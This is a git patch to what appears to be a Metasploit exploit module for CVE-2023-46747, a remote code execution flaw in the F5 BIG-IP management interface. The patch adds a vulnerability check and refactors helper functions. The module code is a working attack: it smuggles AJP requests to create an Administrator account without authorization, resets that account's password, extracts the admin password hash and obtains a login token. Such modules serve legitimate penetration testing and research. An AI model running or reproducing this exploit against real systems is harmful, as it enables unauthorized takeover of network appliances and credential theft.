From 5b0ec94cf29a04c5c3ddf4668f752844e2406192 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Wed, 1 Nov 2023 15:58:20 -0400 Subject: [PATCH] Add the check method --- .../http/f5_bigip_tmui_rce_cve_2023_46747.rb | 52 +++++++++++++------ 1 file changed, 35 insertions(+), 17 deletions(-) diff --git a/modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2023_46747.rb b/modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2023_46747.rb index 431c11ef5d5ea..a96df2dd29c8d 100644 --- a/modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2023_46747.rb +++ b/modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2023_46747.rb @@ -63,8 +63,8 @@ def initialize(info = {}) 'Stability' => [], 'Reliability' => [], 'SideEffects' => [ - IOC_IN_LOGS, - CONFIG_CHANGES # temporary user + IOC_IN_LOGS, # user creation events are logged + CONFIG_CHANGES # a temporary user is created then deleted ] } ) @@ -75,29 +75,36 @@ def initialize(info = {}) ]) end - def check; end + def check + res = create_user(role: 'Guest') + return CheckCode::Unknown unless res + return CheckCode::Safe unless res.code == 200 + + changed = update_user_password + return CheckCode::Safe unless changed + + user = bigip_api_tm_get_user(username) + return CheckCode::Safe unless user.get_json_document['kind'] == 'tm:auth:user:userstate' + + CheckCode::Vulnerable + end def exploit - res = create_user + res = create_user(role: 'Administrator') fail_with(Failure::UnexpectedReply, 'Failed to create the user.') unless res&.code == 200 - new_password = Rex::Text.rand_text_alphanumeric(password.length) - changed = retry_until_truthy(timeout: 30) do - res = big5_api_shared_set_password(username, password, new_password) - res&.code == 200 - end + changed = update_user_password fail_with(Failure::UnexpectedReply, 'Failed to change the password.') unless changed - @password = new_password print_good("Created administrator user: #{username}:#{password}") - res = big5_api_tm_get_user('admin') + res = bigip_api_tm_get_user('admin') if res&.code == 200 && (hash = res.get_json_document['encryptedPassword']).present? print_good("Retrieved the admin hash: #{hash}") report_hash('admin', hash) end - res = big5_api_shared_login + res = bigip_api_shared_login fail_with(Failure::UnexpectedReply, 'Failed to login.') unless res&.code == 200 token = res.get_json_document.dig('token', 'token') @@ -158,11 +165,12 @@ def password @password ||= Rex::Text.rand_text_alphanumeric(12..14) end - def create_user + def create_user(role:) + # for roles and descriptions, see: https://techdocs.f5.com/kb/en-us/products/big-ip_ltm/manuals/product/bigip-user-account-administration-11-6-0/3.html send_request_smuggled_ajp({ 'handler' => '/tmui/system/user/create', 'form_page' => '/tmui/system/user/create.jsp', - 'systemuser-hidden' => '[["Administrator","[All]"]]', + 'systemuser-hidden' => "[[\"#{role}\",\"[All]\"]]", 'systemuser-hidden_before' => '', 'name' => username, 'name_before' => '', @@ -186,6 +194,16 @@ def delete_user }) end + def update_user_password + new_password = Rex::Text.rand_text_alphanumeric(password.length) + changed = retry_until_truthy(timeout: 30) do + res = bigip_api_shared_set_password(username, password, new_password) + res&.code == 200 + end + @password = new_password if changed + changed + end + def send_request_smuggled_ajp(query) post_data = "204\r\n" # do not change @@ -235,7 +253,7 @@ def send_request_smuggled_ajp(query) ) end - def big5_api_shared_set_password(user, old_password, new_password) + def bigip_api_shared_set_password(user, old_password, new_password) send_request_cgi( 'method' => 'PATCH', 'uri' => normalize_uri(target_uri.path, 'mgmt/shared/authz/users', user), @@ -247,7 +265,7 @@ def big5_api_shared_set_password(user, old_password, new_password) ) end - def big5_api_shared_login + def bigip_api_shared_login send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'mgmt/shared/authn/login'), @@ -256,7 +274,7 @@ def big5_api_shared_login ) end - def big5_api_tm_get_user(user) + def bigip_api_tm_get_user(user) send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'mgmt/tm/auth/user', user),